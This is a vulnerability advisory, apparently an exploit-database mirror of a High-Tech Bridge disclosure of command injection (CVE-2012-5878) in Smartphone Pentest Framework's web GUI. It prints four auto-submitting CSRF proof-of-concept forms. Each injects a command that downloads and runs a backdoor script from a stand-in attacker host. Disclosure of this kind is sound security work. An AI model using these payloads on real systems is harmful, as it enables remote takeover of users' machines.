Smartphone Pentest Framework 0.1.3 / 0.1.4 Command Injection



EKU-ID: 2878 CVE: 2012-5878 OSVDB-ID:
Author: High-Tech Bridge Published: 2012-12-13 Verified: Verified
Download:

Rating

☆☆☆☆☆
Home


Product: Smartphone Pentest Framework (SPF)
Vendor: Bulb Security LLC
Vulnerable Versions: 0.1.3, 0.1.4 and probably prior
Tested Versions: 0.1.3, 0.1.4
Vendor Notification: November 19, 2012 
Public Disclosure: December 10, 2012 
Vulnerability Type: OS Command Injection [CWE-78]
CVE Reference: CVE-2012-5878
CVSSv2 Base Score: 8.3 (AV:A/AC:L/Au:N/C:C/I:C/A:C)
Risk Level: High 
Discovered and Provided: High-Tech Bridge Security Research Lab ( https://www.htbridge.com/advisory/
 
-----------------------------------------------------------------------------------------------
 
Advisory Details:
 
High-Tech Bridge Security Research Lab discovered multiple command execution vulnerabilities in Smartphone Pentest Framework (SPF) web-based GUI, which could be exploited to get control over a pentester's machine remotely. 
 
Similar vulnerabilities were discovered (https://www.htbridge.com/advisory/HTB23123 , CVE-2012-5693) in the previous version (0.1.2) of SPF and were patched by vendor. 
 
However, multiple CSRF vulnerabilities (HTB23123, CVE-2012-5695) were not patched by the vendor. Therefore even if the web server hosting SPF GUI is not accessible from the Internet (which is a case for the majority of pentesters) the vulnerabilities can still be easily exploited via a local/internal network, or even from the Internet via CSRF vector. In default installation of Smartphone Pentest Framework its web server port and application path of its GUI are easily predictable: localhost:80/frameworkgui/
 
Please refer to HTB23123 advisory (https://www.htbridge.com/advisory/HTB23122) for detailed attack scenarios examples.
 
 
1) Multiple OS Command Execution Vulnerabilities in Smartphone Pentest Framework (SPF): CVE-2012-5878
 
Multiple Perl scripts in the "/frameworkgui/" directory do not perform sanitation of user-supplied input passed as argument to the "system()" function. This could be exploited to inject and execute arbitrary OS commands on the target system with privileges of the web server user. 
 
1.1 The vulnerability exists in "SEAttack.pl" script due to insufficient validation of user-supplied input passed via the "hostingPath" parameter. The vulnerability can be exploited remotely via CSRF vector. 
 
The PoC code below will download a backdoor located on 'attacker.com' and run it on pentester's machine with privileges of the web server. Despite relatively low privileges attacker can always try to download all files accessible to him and/or escalate privileges to get remote root access to the system. 
 
 
<form action="http://localhost/cgi-bin/frameworkgui/SEAttack.pl" method="post" name=f1>
<input type="hidden" name="platformDD2" value='android' />
<input type="hidden" name="hostingPath" value='a & wget http://attacker.com/backdoor.sh && chmod a+x ./backdoor.ch && ./backdoor.sh & ' />
<input type="submit" id="btn">
</form>
<script>
document.f1.Submit()
</script>
 
 
 
1.2 The vulnerability exists in "CSAttack.pl" script due to insufficient validation of user-supplied input passed via the "hostingPath" parameter. The vulnerability can be exploited remotely via CSRF vector:
 
 
<form action="http://localhost/cgi-bin/frameworkgui/CSAttack.pl" method="post" name=f1>
<input type="hidden" name="hostingPath" value='a & wget http://attacker.com/backdoor.sh && chmod a+x ./backdoor.sh && ./backdoor.sh & ' />
<input type="submit" id="btn">
</form>
<script>
document.f1.Submit()
</script>
 
 
 
1.3 The vulnerability exists in "attachMobileModem.pl" script due to insufficient validation of user-supplied input passed via the "appURLPath" parameter. The vulnerability can be exploited remotely via CSRF vector:
 
 
<form action="http://localhost/cgi-bin/frameworkgui/attachMobileModem.pl" method="post" name=f1>
<input type="hidden" name="appURLPath" value='a & wget http://attacker.com/backdoor.sh && chmod a+x ./backdoor.sh && ./backdoor.sh & ' />
<input type="submit" id="btn">
</form>
<script>
document.f1.Submit()
</script>
 
 
 
1.4 The vulnerability exists in "guessPassword.pl" script due to insufficient validation of user-supplied input passed via the "ipAddressTB" parameter. The vulnerability can be exploited remotely via CSRF vector:
 
 
<form action="http://localhost/cgi-bin/frameworkgui/guessPassword.pl" method="post" name=f1>
<input type="hidden" name="ipAddressTB" value='a & wget http://attacker.com/backdoor.sh && chmod a+x ./backdoor.sh && ./backdoor.sh & ' />
<input type="submit" id="btn">
</form>
<script>
document.f1.Submit()
</script>
 
 
-----------------------------------------------------------------------------------------------
 
Solution:
 
On December 5, 2012 vendor replied that vulnerabilities are patched. However, on the Disclosure date version 0.1.4 was still found to be vulnerable.
 
As a temporary solution remove or disable SPF's GUI.
 
-----------------------------------------------------------------------------------------------